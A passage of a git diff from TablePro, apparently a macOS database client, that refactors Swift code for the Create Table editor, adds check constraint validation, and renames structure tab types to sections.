         controls.showsExecution = viewMode.reportsExecution
 
         /// A plan keeps the bar so it stays choosable and pinnable, and gives up everything the bar
diff --git a/apple/TablePro/Models/Query/StatusBarSnapshot.swift b/apple/TablePro/Models/Query/StatusBarSnapshot.swift
index 3202cbd7e7..d241272bc2 100644
--- a/apple/TablePro/Models/Query/StatusBarSnapshot.swift
+++ b/apple/TablePro/Models/Query/StatusBarSnapshot.swift
@@ -21,8 +21,6 @@ struct StatusBarSnapshot: Equatable {
     let hasTableName: Bool
     /// The modes this tab can switch between, which the bar's leading control offers.
     let availableModes: [ResultsViewMode]
-    /// Whether the structure editor has published an add/remove pair for this tab.
-    let hasStructureActions: Bool
     let pagination: PaginationState
     let statusMessage: String?
     let paginationCapability: PaginationCapability
@@ -40,7 +38,6 @@ struct StatusBarSnapshot: Equatable {
         isValueFiltered: Bool = false,
         hasTableName: Bool,
         availableModes: [ResultsViewMode] = [],
-        hasStructureActions: Bool = false,
         isQueryPlan: Bool = false,
         pagination: PaginationState,
         statusMessage: String?,
@@ -55,7 +52,6 @@ struct StatusBarSnapshot: Equatable {
         self.isValueFiltered = isValueFiltered
         self.hasTableName = hasTableName
         self.availableModes = availableModes
-        self.hasStructureActions = hasStructureActions
         self.isQueryPlan = isQueryPlan
         self.pagination = pagination
         self.statusMessage = statusMessage
@@ -72,7 +68,6 @@ struct StatusBarSnapshot: Equatable {
         tableRows: TableRows?,
         displayRowCount: Int? = nil,
         isFetching: Bool = false,
-        hasStructureActions: Bool = false,
         isQueryPlan: Bool = false,
         paginationCapability: PaginationCapability = .offset,
         hasServerOutput: Bool = false,
@@ -98,7 +93,6 @@ struct StatusBarSnapshot: Equatable {
                 hasSpatialColumn: !(tab?.display.spatialColumns.isEmpty ?? true),
                 hasServerOutput: hasServerOutput
             ),
-            hasStructureActions: hasStructureActions,
             isQueryPlan: isQueryPlan,
             pagination: pagination,
             // A run of several statements leaves each one's message on its own result, not on the tab.
diff --git a/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift b/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
index 6f62620de5..783d9ab282 100644
--- a/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
+++ b/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
@@ -6,56 +6,43 @@
 import Foundation
 import TableProPluginKit
 
-/// What a Create Table draft comes to: the statement plan it will run, and every row that is not
-/// ready to run.
+// The statements a Create Table draft will run, and every row that is not ready to.
 struct CreateTablePlan {
-    /// Never carries indexes. An index is always its own statement, see `CreateTableDraftBuilder`.
+    // Never carries indexes or check constraints: each is its own statement after the CREATE.
     let definition: PluginCreateTableDefinition?
     let indexes: [PluginIndexDefinition]
     let issues: [SchemaDraftIssue]
-    /// Nil writes no comment. Set after the `CREATE TABLE`, as its own statement.
+    // Nil writes no comment. Set after the CREATE, as its own statement.
     var tableComment: String?
+    var checkConstraints: [PluginCheckConstraintDefinition] = []
+    // Working-list rows of `indexes` and `checkConstraints`, since blank and incomplete rows are skipped.
+    var indexRows: [Int] = []
+    var checkConstraintRows: [Int] = []
 
     var isReadyToCreate: Bool { definition != nil && issues.isEmpty }
+
+    func indexRow(at position: Int) -> Int {
+        indexRows.indices.contains(position) ? indexRows[position] : position
+    }
+
+    func checkConstraintRow(at position: Int) -> Int {
+        checkConstraintRows.indices.contains(position) ? checkConstraintRows[position] : position
+    }
 }
 
-/// Turns the Create Table editor's working rows into a statement plan.
-///
-/// This exists because the view used to do it inline, in three filters that each demanded a
-/// non-empty `name` and then dropped whatever failed:
-///
-///     foreignKeys: workingForeignKeys.filter { !$0.name.isEmpty && !$0.columns.isEmpty && … }
-///
-/// A new foreign key row's name is always empty and nothing in the grid fills it, so every foreign
-/// key the user entered was deleted on the way to the driver, with no message and an SQL Preview
-/// that agreed. No dialect requires the name, three drivers discard it, and the filter left out the
-/// predicate that does matter: an empty referenced column list renders `REFERENCES "t" ()`, which
-/// SQLite, PostgreSQL and DuckDB all reject.
-///
-/// So the split is: this type answers whether a row is **complete**, the driver answers how to
-/// **spell** it, and `ForeignKeyDialect` answers what the engine's grammar takes. Three row states,
-/// and the middle one is the whole point:
-///
-/// - **blank**: nothing typed. Ignored, because the editor seeds a blank column and `+` seeds blank
-///   rows, and neither is something the user asked to create.
-/// - **incomplete**: begun and unusable. An issue the user is shown. Never a silent drop.
-/// - **complete**: emitted.
+// Turns the working rows into a plan. This type says whether a row is complete, the driver how to spell it, and
+// `ForeignKeyDialect` what the engine's grammar takes. A blank row is ignored (the editor seeds them), a begun one
+// that cannot run is an issue, never a silent drop: requiring a foreign key's name once dropped every key (#2691).
 @MainActor
 enum CreateTableDraftBuilder {
-    /// Indexes are never folded into the `CREATE TABLE` statement, on any engine.
-    ///
-    /// PostgreSQL and DuckDB used to append their `CREATE INDEX` statements to the same returned
-    /// string, and that only ran because `PQexec` and `duckdb_query` take a whole batch. SQLite's
-    /// driver prepares with `sqlite3_prepare_v2(db, sql, -1, &stmt, nil)` and steps once, so a
-    /// second statement in the string is compiled by nobody: the index would vanish exactly the way
-    /// the foreign keys did. Every index therefore goes through `generateAddIndexSQL` as its own
-    /// statement, which is also what the existing-table path in `SchemaStatementGenerator` does.
+    // Indexes and checks are never folded into the CREATE: SQLite steps one statement per execute.
     static func plan(
         tableName: String,
         options: CreateTableOptions,
         columns: [EditableColumnDefinition],
         indexes: [EditableIndexDefinition],
         foreignKeys: [EditableForeignKeyDefinition],
+        checkConstraints: [EditableCheckConstraintDefinition] = [],
         dialect: ForeignKeyDialect,
         includesEngineOptions: Bool,
         defaults: CreateTableOptionDefaults = CreateTableOptionDefaults(),
@@ -69,16 +56,17 @@ enum CreateTableDraftBuilder {
         let resolvedForeignKeys = resolveForeignKeys(
             foreignKeys, columnNames: columnNames, dialect: dialect, into: &issues
         )
+        let resolvedChecks = resolveCheckConstraints(checkConstraints, into: &issues)
 
         let trimmedName = tableName.trimmingCharacters(in: .whitespaces)
         if trimmedName.isEmpty {
             issues.append(SchemaDraftIssue(
-                tab: .columns, row: nil, message: String(localized: "The table needs a name.")
+                section: .columns, row: nil, message: String(localized: "The table needs a name.")
             ))
         }
         if resolvedColumns.isEmpty, !suppliesItsOwnKey {
             issues.append(SchemaDraftIssue(
-                tab: .columns, row: nil,
+                section: .columns, row: nil,
                 message: String(localized: "The table needs at least one column with a name and a type.")
             ))
         }
@@ -103,18 +91,18 @@ enum CreateTableDraftBuilder {
 
         return CreateTablePlan(
             definition: definition,
-            indexes: resolvedIndexes.map { $0.toPlugin() },
+            indexes: resolvedIndexes.map { $0.definition.toPlugin() },
             issues: issues,
-            tableComment: ObjectCommentDraft.normalized(options.comment)
+            tableComment: ObjectCommentDraft.normalized(options.comment),
+            checkConstraints: resolvedChecks.map { $0.definition.toPlugin() },
+            indexRows: resolvedIndexes.map(\.row),
+            checkConstraintRows: resolvedChecks.map(\.row)
         )
     }
 
     // MARK: - Columns
 
-    /// A column the user marked auto-increment without ticking Primary Key is promoted here rather
-    /// than in each driver. The old code passed the promotion through `primaryKeyColumns` only, and
-    /// SQLite reads `isPrimaryKey` alone, so on SQLite that column got neither a primary key nor
-    /// `AUTOINCREMENT`. Reconciling the two once leaves every driver reading one answer.
+    // An auto-increment column with no primary key ticked is promoted here, once: SQLite reads `isPrimaryKey` alone.
     private static func resolveColumns(
         _ columns: [EditableColumnDefinition],
         into issues: inout [SchemaDraftIssue]
@@ -130,19 +118,19 @@ enum CreateTableDraftBuilder {
             }
             if name.isEmpty {
                 issues.append(SchemaDraftIssue(
-                    tab: .columns, row: row, message: String(localized: "This column needs a name.")
+                    section: .columns, row: row, message: String(localized: "This column needs a name.")
                 ))
                 continue
             }
             if type.isEmpty {
                 issues.append(SchemaDraftIssue(
-                    tab: .columns, row: row, message: String(localized: "This column needs a type.")
+                    section: .columns, row: row, message: String(localized: "This column needs a type.")
                 ))
                 continue
             }
             if !column.isNullable, column.hasNullDefault {
                 issues.append(SchemaDraftIssue(
-                    tab: .columns, row: row,
+                    section: .columns, row: row,
                     message: String(localized: "This column does not allow NULL, so its default cannot be NULL.")
                 ))
             }
@@ -163,7 +151,7 @@ enum CreateTableDraftBuilder {
 
         for position in duplicatePositions(of: resolved.map(\.name)) {
             issues.append(SchemaDraftIssue(
-                tab: .columns, row: sourceRows[position],
+                section: .columns, row: sourceRows[position],
                 message: String(
                     format: String(localized: "Another column is already named %@."), resolved[position].name
                 )
@@ -175,15 +163,13 @@ enum CreateTableDraftBuilder {
 
     // MARK: - Indexes
 
-    /// An index does need a name, unlike a foreign key: `CREATE INDEX` has nowhere to put an
-    /// anonymous one. So the missing name is reported rather than required in silence.
+    // Unlike a foreign key, an index needs a name: CREATE INDEX has nowhere to put an anonymous one.
     private static func resolveIndexes(
         _ indexes: [EditableIndexDefinition],
         columnNames: Set<String>,
         into issues: inout [SchemaDraftIssue]
-    ) -> [EditableIndexDefinition] {
-        var resolved: [EditableIndexDefinition] = []
-        var sourceRows: [Int] = []
+    ) -> [Resolved<EditableIndexDefinition>] {
+        var resolved: [Resolved<EditableIndexDefinition>] = []
 
         for (row, index) in indexes.enumerated() {
             let name = index.name.trimmingCharacters(in: .whitespaces)
@@ -193,14 +179,14 @@ enum CreateTableDraftBuilder {
             }
             if columns.isEmpty {
                 issues.append(SchemaDraftIssue(
-                    tab: .indexes, row: row,
+                    section: .indexes, row: row,
                     message: String(localized: "This index needs at least one column.")
                 ))
                 continue
             }
             if name.isEmpty {
                 issues.append(SchemaDraftIssue(
-                    tab: .indexes, row: row, message: String(localized: "This index needs a name.")
+                    section: .indexes, row: row, message: String(localized: "This index needs a name.")
                 ))
                 continue
             }
@@ -209,22 +195,22 @@ enum CreateTableDraftBuilder {
             normalized.columns = columns
             if let unknown = normalized.referencedColumnNames.first(where: { !columnNames.contains($0) }) {
                 issues.append(SchemaDraftIssue(
-                    tab: .indexes, row: row,
+                    section: .indexes, row: row,
                     message: String(
                         format: String(localized: "The table has no column named %@."), unknown
                     )
                 ))
                 continue
             }
-            resolved.append(normalized)
-            sourceRows.append(row)
+            resolved.append(Resolved(definition: normalized, row: row))
         }
 
-        for position in duplicatePositions(of: resolved.map(\.name)) {
+        for position in duplicatePositions(of: resolved.map(\.definition.name)) {
             issues.append(SchemaDraftIssue(
-                tab: .indexes, row: sourceRows[position],
+                section: .indexes, row: resolved[position].row,
                 message: String(
-                    format: String(localized: "Another index is already named %@."), resolved[position].name
+                    format: String(localized: "Another index is already named %@."),
+                    resolved[position].definition.name
                 )
             ))
         }
@@ -254,7 +240,7 @@ enum CreateTableDraftBuilder {
         let names = resolved.map(\.name)
         for position in duplicatePositions(of: names) where !names[position].isEmpty {
             issues.append(SchemaDraftIssue(
-                tab: .foreignKeys, row: sourceRows[position],
+                section: .foreignKeys, row: sourceRows[position],
                 message: String(
                     format: String(localized: "Another foreign key is already named %@."),
                     resolved[position].name
@@ -265,9 +251,7 @@ enum CreateTableDraftBuilder {
         return resolved
     }
 
-    /// The constraint name is deliberately absent from every test here. It is optional in every
-    /// dialect TablePro speaks, three drivers discard it, and demanding it is what deleted the
-    /// user's foreign keys.
+    // No test here demands the name: it is optional in every dialect, and demanding it deleted the user's keys.
     private static func resolveForeignKey(
         _ foreignKey: EditableForeignKeyDefinition,
         row: Int,
@@ -294,7 +278,7 @@ enum CreateTableDraftBuilder {
         }
 
         func report(_ message: String) {
-            issues.append(SchemaDraftIssue(tab: .foreignKeys, row: row, message: message))
+            issues.append(SchemaDraftIssue(section: .foreignKeys, row: row, message: message))
         }
 
         if normalized.columns.isEmpty {
@@ -344,8 +328,61 @@ enum CreateTableDraftBuilder {
         return normalized
     }
 
+    // MARK: - Check constraints
+
+    // Every driver writes a check as ADD CONSTRAINT <name> CHECK (<expression>), so both are required.
+    private static func resolveCheckConstraints(
+        _ constraints: [EditableCheckConstraintDefinition],
+        into issues: inout [SchemaDraftIssue]
+    ) -> [Resolved<EditableCheckConstraintDefinition>] {
+        var resolved: [Resolved<EditableCheckConstraintDefinition>] = []
+
+        for (row, constraint) in constraints.enumerated() {
+            let name = constraint.name.trimmingCharacters(in: .whitespaces)
+            let expression = constraint.expression.trimmingCharacters(in: .whitespacesAndNewlines)
+            if name.isEmpty, expression.isEmpty {
+                continue
+            }
+            if expression.isEmpty {
+                issues.append(SchemaDraftIssue(
+                    section: .checkConstraints, row: row,
+                    message: String(localized: "This check constraint needs an expression.")
+                ))
+                continue
+            }
+            if name.isEmpty {
+                issues.append(SchemaDraftIssue(
+                    section: .checkConstraints, row: row,
+                    message: String(localized: "This check constraint needs a name.")
+                ))
+                continue
+            }
+            var normalized = constraint
+            normalized.name = name
+            normalized.expression = expression
+            resolved.append(Resolved(definition: normalized, row: row))
+        }
+
+        for position in duplicatePositions(of: resolved.map(\.definition.name)) {
+            issues.append(SchemaDraftIssue(
+                section: .checkConstraints, row: resolved[position].row,
+                message: String(
+                    format: String(localized: "Another check constraint is already named %@."),
+                    resolved[position].definition.name
+                )
+            ))
+        }
+
+        return resolved
+    }
+
     // MARK: - Helpers
 
+    private struct Resolved<Definition> {
+        let definition: Definition
+        let row: Int
+    }
+
     private static func trimmedOrNil(_ value: String?) -> String? {
         guard let trimmed = value?.trimmingCharacters(in: .whitespaces), !trimmed.isEmpty else { return nil }
         return trimmed
@@ -355,12 +392,8 @@ enum CreateTableDraftBuilder {
         values.map { $0.trimmingCharacters(in: .whitespaces) }.filter { !$0.isEmpty }
     }
 
-    /// Every position after the first that repeats a name already seen, so the row the user is most
-    /// likely still editing is the one flagged.
-    ///
-    /// These are positions in the resolved list, not grid rows. A row skipped for being blank or
-    /// incomplete shortens the list, so the caller maps them back through its own `sourceRows` or
-    /// the message points at a different row than the duplicate.
+    // Positions in the resolved list after the first that repeat a name, so the row likely still being edited is
+    // flagged. The caller maps them back to working rows: skipped rows shorten the list.
     private static func duplicatePositions(of names: [String]) -> [Int] {
         var seen: Set<String> = []
         var duplicates: [Int] = []
diff --git a/apple/TablePro/Models/Schema/SchemaChange.swift b/apple/TablePro/Models/Schema/SchemaChange.swift
index ef68b9bbd2..e99da8c518 100644
--- a/apple/TablePro/Models/Schema/SchemaChange.swift
+++ b/apple/TablePro/Models/Schema/SchemaChange.swift
@@ -88,6 +88,57 @@ enum SchemaChange: Hashable, Equatable {
         }
     }
 
+    // What an error or a review shows a person; `description` stays English for logs.
+    var localizedDescription: String {
+        switch self {
+        case .addColumn(let col):
+            return String(format: String(localized: "Add column “%@”"), col.name)
+        case .modifyColumn(let old, let new):
+            return old.name == new.name
+                ? String(format: String(localized: "Change column “%@”"), new.name)
+                : String(format: String(localized: "Change column “%@” to “%@”"), old.name, new.name)
+        case .deleteColumn(let col):
+            return String(format: String(localized: "Delete column “%@”"), col.name)
+        case .addIndex(let idx):
+            return String(format: String(localized: "Add index “%@”"), idx.name)
+        case .modifyIndex(let old, let new):
+            return old.name == new.name
+                ? String(format: String(localized: "Change index “%@”"), new.name)
+                : String(format: String(localized: "Change index “%@” to “%@”"), old.name, new.name)
+        case .deleteIndex(let idx):
+            return String(format: String(localized: "Delete index “%@”"), idx.name)
+        case .addForeignKey(let fk):
+            return String(format: String(localized: "Add foreign key “%@”"), fk.name)
+        case .modifyForeignKey(let old, let new):
+            return old.name == new.name
+                ? String(format: String(localized: "Change foreign key “%@”"), new.name)
+                : String(format: String(localized: "Change foreign key “%@” to “%@”"), old.name, new.name)
+        case .deleteForeignKey(let fk):
+            return String(format: String(localized: "Delete foreign key “%@”"), fk.name)
+        case .addCheckConstraint(let constraint):
+            return String(format: String(localized: "Add check constraint “%@”"), constraint.name)
+        case .modifyCheckConstraint(let old, let new):
+            return old.name == new.name
+                ? String(format: String(localized: "Change check constraint “%@”"), new.name)
+                : String(format: String(localized: "Change check constraint “%@” to “%@”"), old.name, new.name)
+        case .deleteCheckConstraint(let constraint):
+            return String(format: String(localized: "Delete check constraint “%@”"), constraint.name)
+        case .modifyPrimaryKey(_, let new):
+            return new.isEmpty
+                ? String(localized: "Remove the primary key")
+                : String(format: String(localized: "Set the primary key to %@"), new.joined(separator: ", "))
+        case .modifyTableComment:
+            return String(localized: "Change the table comment")
+        case .modifyTableCharacterSet(_, let new):
+            let target = [new.characterSet, new.collation].compactMap { $0 }.joined(separator: " ")
+            return new.convertsColumns
+                ? String(format: String(localized: "Convert the table to %@"), target)
+                : String(format: String(localized: "Set the table's default character set to %@"), target)
+        case .modifyAutoIncrement(_, let new):
+            return String(format: String(localized: "Set the next AUTO_INCREMENT value to %@"), String(new))
+        }
+    }
+
     var description: String {
         switch self {
         case .addColumn(let col):
diff --git a/apple/TablePro/Models/Schema/SchemaDraftIssue.swift b/apple/TablePro/Models/Schema/SchemaDraftIssue.swift
index 66dc0be6ff..ec986d6188 100644
--- a/apple/TablePro/Models/Schema/SchemaDraftIssue.swift
+++ b/apple/TablePro/Models/Schema/SchemaDraftIssue.swift
@@ -5,30 +5,23 @@
 
 import Foundation
 
-/// A row the user began and did not finish, named where the user can act on it.
-///
-/// The distinction this type exists to draw is between a row that is blank, which is the editor's
-/// own placeholder and carries no intent, and a row that holds some of what a constraint needs and
-/// not the rest. The first is ignored. The second used to be dropped from the generated statement
-/// with no message at all, which is how a filled-in foreign key came to vanish between the grid and
-/// the SQL Preview (#2691).
+// A row the user began and did not finish. A blank row carries no intent and is ignored; a begun one is named
+// here, never dropped from the statement in silence (#2691).
 struct SchemaDraftIssue: Equatable, Identifiable, Sendable {
-    let tab: StructureTab
-    /// Zero-based position in the tab's grid, or nil for an issue about the draft as a whole.
+    let section: StructureSection
+    // Zero-based position in the section's working list, or nil for an issue about the draft as a whole.
     let row: Int?
     let message: String
 
-    var id: String { "\(tab.rawValue)-\(row.map(String.init) ?? "-")-\(message)" }
+    var id: String { "\(section.rawValue)-\(row.map(String.init) ?? "-")-\(message)" }
 
-    /// The message with its row and tab in front, for a reader who is looking at another tab.
-    ///
-    /// Rows are numbered from one here because that is how the grid's row gutter numbers them.
+    // Numbered from one, the way the grid's row gutter counts.
     var qualifiedMessage: String {
         guard let row else {
-            return String(format: String(localized: "%1$@: %2$@"), tab.displayName, message)
+            return String(format: String(localized: "%1$@: %2$@"), section.displayName, message)
         }
         return String(
-            format: String(localized: "%1$@ row %2$lld: %3$@"), tab.displayName, Int64(row + 1), message
+            format: String(localized: "%1$@ row %2$lld: %3$@"), section.displayName, Int64(row + 1), message
         )
     }
 }
diff --git a/apple/TablePro/Models/Schema/SchemaEntityOperations.swift b/apple/TablePro/Models/Schema/SchemaEntityOperations.swift
index ef8919da49..36415b38b5 100644
--- a/apple/TablePro/Models/Schema/SchemaEntityOperations.swift
+++ b/apple/TablePro/Models/Schema/SchemaEntityOperations.swift
@@ -2,17 +2,10 @@
 //  SchemaEntityOperations.swift
 //  TablePro
 //
-//  Describes one structure-editor entity kind to the generic staging path.
-//
 
 import Foundation
 
-/// What distinguishes one structure entity from another when it is staged.
-///
-/// Columns, indexes, foreign keys and check constraints are staged by an identical sequence:
-/// register an undo, record a pending change under the entity's identifier, then write the
-/// working array. Only the arrays, the enum cases and the undo action names differ, so those
-/// are supplied here and the sequence itself lives once in `StructureChangeManager`.
+// One structure entity kind, for the staging sequence `StructureChangeManager` runs once for all four.
 struct SchemaEntityOperations<Entity: Identifiable & Equatable> where Entity.ID == UUID {
     let working: ReferenceWritableKeyPath<StructureChangeManager, [Entity]>
     let current: KeyPath<StructureChangeManager, [Entity]>
@@ -26,4 +19,6 @@ struct SchemaEntityOperations<Entity: Identifiable & Equatable> where Entity.ID
     let addActionName: String
     let editActionName: String
     let deleteActionName: String
+    // Whether the working copy needs a statement; a column's key flag is the table's key change, not the column's.
+    var needsStatement: (_ loaded: Entity, _ working: Entity) -> Bool = { $0 != $1 }
 }
diff --git a/apple/TablePro/Models/Schema/StructureTab.swift b/apple/TablePro/Models/Schema/StructureSection.swift
similarity index 52%
rename from apple/TablePro/Models/Schema/StructureTab.swift
rename to apple/TablePro/Models/Schema/StructureSection.swift
index e652c0c8ed..1591be0043 100644
--- a/apple/TablePro/Models/Schema/StructureTab.swift
+++ b/apple/TablePro/Models/Schema/StructureSection.swift
@@ -1,28 +1,37 @@
 //
-//  StructureTab.swift
+//  StructureSection.swift
 //  TablePro
 //
 
 import Foundation
 
-enum StructureTab: String, CaseIterable, Hashable {
+// The kinds of definition a table's structure stages edits for. Read-only panes are StructurePane.
+enum StructureSection: String, CaseIterable, Hashable {
     case columns
     case indexes
     case foreignKeys
     case checkConstraints
-    case triggers
-    case options
-    case ddl
-    case parts
 
     var displayName: String {
         switch self {
         case .columns: String(localized: "Columns")
         case .indexes: String(localized: "Indexes")
         case .foreignKeys: String(localized: "Foreign Keys")
-        case .checkConstraints: String(localized: "Constraints")
+        case .checkConstraints: String(localized: "Check Constraints")
+        }
+    }
+}
+
+enum StructurePane: String, CaseIterable, Hashable {
+    case definition
+    case triggers
+    case ddl
+    case parts
+
+    var displayName: String {
+        switch self {
+        case .definition: String(localized: "Definition")
         case .triggers: String(localized: "Triggers")
-        case .options: String(localized: "Options")
         case .ddl: "DDL"
         case .parts: "Parts"
         }
diff --git a/apple/TablePro/Models/UI/DataGridConfiguration.swift b/apple/TablePro/Models/UI/DataGridConfiguration.swift
index e6313ae64d..3f05e7c2b8 100644
--- a/apple/TablePro/Models/UI/DataGridConfiguration.swift
+++ b/apple/TablePro/Models/UI/DataGridConfiguration.swift
@@ -45,4 +45,10 @@ struct DataGridConfiguration: Equatable {
 
     // VoiceOver's name for the grid ("Active Sessions"); nil reads "Data grid".
     var accessibilityLabel: String?
+
+    // As tall as its rows, inside a page that scrolls vertically for it; the grid scrolls only sideways.
+    var fitsRows = false
+
+    // Off where an empty cell means "none set", as a structure list's Default or Comment does, not an empty string.
+    var marksEmptyText = true
 }
diff --git a/apple/TablePro/Models/UI/FieldEditorKind.swift b/apple/TablePro/Models/UI/FieldEditorKind.swift
index 5de538e35e..4386adc89b 100644
--- a/apple/TablePro/Models/UI/FieldEditorKind.swift
+++ b/apple/TablePro/Models/UI/FieldEditorKind.swift
@@ -21,11 +21,6 @@ internal enum FieldEditorKind: Equatable {
     /// a one-line value or a JSON document, which are two different editors over the same list.
     case arrayElements(element: ArrayElementEditor, values: [String])
     case vector
-    case typePicker
-    /// A value with suggestions the user may ignore: the menu writes correct SQL, typing writes
-    /// your own. `enumPicker` cannot serve, because its list is the whole set of legal values.
-    case valuePicker(options: [GridMenuOption])
-    case schemaText
     case multiLine
     case singleLine
 }
diff --git a/apple/TablePro/Models/UI/InspectorFieldLayout.swift b/apple/TablePro/Models/UI/InspectorFieldLayout.swift
deleted file mode 100644
index 5119772e49..0000000000
--- a/apple/TablePro/Models/UI/InspectorFieldLayout.swift
+++ /dev/null
@@ -1,63 +0,0 @@
-//
-//  InspectorFieldLayout.swift
-//  TablePro
-//
-
-import Foundation
-
-/// How a field arranges its label against its editor.
-///
-/// The arrangement follows whose labels these are, not how big the editor is. A data row's label is
-/// a column name, which is user data of no bounded length: measured against a realistic 400-column
-/// set, the widest renders at 259.8pt, wider than the whole pane at its 270pt minimum. No label lane
-/// can hold that, and a lane wide enough to try takes the width the value needs, so at the minimum a
-/// side-by-side data row truncates the name *and* the value. A schema row's label comes from a
-/// closed, authored vocabulary (`StructureColumnField.displayName` plus the index, foreign-key and
-/// check-constraint headers), whose widest member is "Ref Columns" at 66.4pt, so the lane Apple's own
-/// inspectors use is both correct and achievable there.
-///
-/// Nothing here can be derived at runtime from the rows themselves. Measured: a `PreferenceKey`
-/// max-reduce inside a `List` sees only the realized rows, 39pt against a true widest of 296pt, so a
-/// content-derived lane would change width as the user scrolls. A custom `AlignmentID` does not
-/// resolve across a `List`'s rows at all (145pt of spread; the same guide in one `VStack` gives 0).
-/// `Form(.columns)` and `Grid` do align, and both forfeit the laziness `InspectorFieldListView`
-/// depends on.
-///
-/// Both switches are exhaustive on purpose rather than `default`-armed. A new editor kind has to be
-/// classified for each provenance instead of inheriting whichever arm was written first; two
-/// `default`-armed switches over `FieldEditorKind` are what let `.typePicker` escape the value-font
-/// domain and render a structure row's Name and Type in two different fonts.
-internal enum InspectorFieldLayout: Equatable {
-    /// Label in a fixed trailing-aligned lane, editor beside it, one line high.
-    case inline
-    /// Label and type above, editor spanning the full width below.
-    case stacked
-
-    internal static func resolve(for kind: FieldEditorKind, isSchemaField: Bool) -> InspectorFieldLayout {
-        isSchemaField ? schemaLayout(for: kind) : dataLayout(for: kind)
-    }
-
-    /// A data field always stacks, whatever it holds. Choosing per row from the value's own length
-    /// would give the pane two label lanes and two value lanes alternating down the list, drop the
-    /// type badge from exactly the rows too narrow to carry it, and reflow a row from one shape to
-    /// the other while the user is typing into it.
-    private static func dataLayout(for kind: FieldEditorKind) -> InspectorFieldLayout {
-        switch kind {
-        case .singleLine, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .schemaText, .typePicker,
-             .valuePicker, .multiLine, .json, .phpSerialized, .binaryValue, .blobHex, .image, .geometry:
-            return .stacked
-        }
-    }
-
-    /// A schema field's label is short and authored, so the lane holds it and the row stays one line
-    /// high. The editors that need the pane's width still take it.
-    private static func schemaLayout(for kind: FieldEditorKind) -> InspectorFieldLayout {
-        switch kind {
-        case .singleLine, .boolean, .enumPicker, .setPicker, .arrayElements, .vector, .schemaText, .typePicker,
-             .valuePicker:
-            return .inline
-        case .multiLine, .json, .phpSerialized, .binaryValue, .blobHex, .image, .geometry:
-            return .stacked
-        }
-    }
-}
diff --git a/apple/TablePro/Models/UI/InspectorRowSource.swift b/apple/TablePro/Models/UI/InspectorRowSource.swift
deleted file mode 100644
index e819603517..0000000000
--- a/apple/TablePro/Models/UI/InspectorRowSource.swift
+++ /dev/null
@@ -1,37 +0,0 @@
-//
-//  InspectorRowSource.swift
-//  TablePro
-//
-//  Lets the grid that owns the current selection supply the inspector's
-//  fields and receive its edits, instead of the inspector assuming every
-//  selection indexes the data tab's rows.
-//
-
-import Foundation
-
-internal struct InspectorRowField: Equatable {
-    let name: String
-    let value: String?
-    let editor: FieldEditorKind
-    let isModified: Bool
-    let isEditable: Bool
-
-    init(name: String, value: String?, editor: FieldEditorKind, isModified: Bool = false, isEditable: Bool = true) {
-        self.name = name
-        self.value = value
-        self.editor = editor
-        self.isModified = isModified
-        self.isEditable = isEditable
-    }
-}
-
-internal struct InspectorRow: Equatable {
-    let fields: [InspectorRowField]
-    let isEditable: Bool
-}
-
-@MainActor
-internal protocol InspectorRowSource: AnyObject {
-    func inspectorRow(atDisplayRow displayRow: Int) -> InspectorRow?
-    func commitInspectorField(displayRow: Int, fieldIndex: Int, value: String?)
-}
diff --git a/apple/TablePro/Models/UI/InspectorSubject.swift b/apple/TablePro/Models/UI/InspectorSubject.swift
index cb1df8b970..71403965d7 100644
--- a/apple/TablePro/Models/UI/InspectorSubject.swift
+++ b/apple/TablePro/Models/UI/InspectorSubject.swift
@@ -5,22 +5,13 @@
 
 import Foundation
 
-/// What the inspector is currently inspecting, and the two lines it draws for it above its content.
-///
-/// The pane had no subject at all before: it multiplexed three unrelated tabs, so there was nothing
-/// one title could name and the header carried a picker instead. Naming the subject is what lets
-/// the inspector say which row of which table is on screen, which is the first thing a reader of an
-/// inspector needs and the thing the old pane never showed.
-///
-/// A schema grid is a first-class case rather than an afterthought. The structure and create-table
-/// editors feed the same pane through `InspectorRowSource`, and their selection is a column
-/// definition, not a row of data: it has no position in a result and no row identity, so a subject
-/// that assumed one would render "Row 0 of 0" over a perfectly good column.
+// What the inspector is inspecting, as the two lines it draws above its content. A structure definition has no
+// position in a result, so it is named by what it is and whose it is, never "Row 0 of 0".
 internal enum InspectorSubject: Equatable {
     case empty
     case tableRow(table: String, position: RowPosition?)
     case multipleRows(table: String, count: Int)
-    case columnDefinition(column: String, table: String?)
+    case definition(name: String, section: StructureSection, table: String?)
     case tableOnly(table: String)
 
     internal struct RowPosition: Equatable {
@@ -33,20 +24,18 @@ internal enum InspectorSubject: Equatable {
         }
     }
 
-    /// The bold first line: the thing being inspected.
     internal var title: String? {
         switch self {
         case .empty:
             return nil
         case .tableRow(let table, _), .multipleRows(let table, _), .tableOnly(let table):
             return table
-        case .columnDefinition(let column, _):
-            return column
+        case .definition(let name, let section, _):
+            return name.isEmpty ? Self.newDefinitionTitle(section) : name
         }
     }
 
-    /// The secondary second line: where the thing sits. Nil where there is nothing useful to add,
-    /// so the header collapses to one line rather than drawing an empty one.
+    // Nil where there is nothing to add, so the header collapses to one line.
     internal var subtitle: String? {
         switch self {
         case .empty:
@@ -60,11 +49,38 @@ internal enum InspectorSubject: Equatable {
             )
         case .multipleRows(_, let count):
             return String(format: String(localized: "%d rows selected"), count)
-        case .columnDefinition(_, let table):
-            guard let table else { return String(localized: "Column") }
-            return String(format: String(localized: "Column of %@"), table)
+        case .definition(_, let section, let table):
+            guard let table else { return Self.kindName(section) }
+            return Self.kindName(section, of: table)
         case .tableOnly:
             return String(localized: "Table")
         }
     }
+
+    private static func newDefinitionTitle(_ section: StructureSection) -> String {
+        switch section {
+        case .columns: String(localized: "New Column")
+        case .indexes: String(localized: "New Index")
+        case .foreignKeys: String(localized: "New Foreign Key")
+        case .checkConstraints: String(localized: "New Check Constraint")
+        }
+    }
+
+    private static func kindName(_ section: StructureSection) -> String {
+        switch section {
+        case .columns: String(localized: "Column")
+        case .indexes: String(localized: "Index")
+        case .foreignKeys: String(localized: "Foreign Key")
+        case .checkConstraints: String(localized: "Check Constraint")
+        }
+    }
+
+    private static func kindName(_ section: StructureSection, of table: String) -> String {
+        switch section {
+        case .columns: String(format: String(localized: "Column of %@"), table)
+        case .indexes: String(format: String(localized: "Index of %@"), table)
+        case .foreignKeys: String(format: String(localized: "Foreign Key of %@"), table)
